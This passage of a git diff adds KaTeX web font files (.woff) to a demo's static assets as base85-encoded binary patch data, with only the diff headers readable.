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 T)YS6}E-Q5R&CfXgJ?`xQe`ny2 literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Math-BoldItalic.woff b/demo/static/dist/assets/KaTeX_Math-BoldItalic.woff new file mode 100644 index 0000000000000000000000000000000000000000..0ae390d74c9f665cf8b1e5ea5483395da7513444 GIT binary patch literal 18668 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 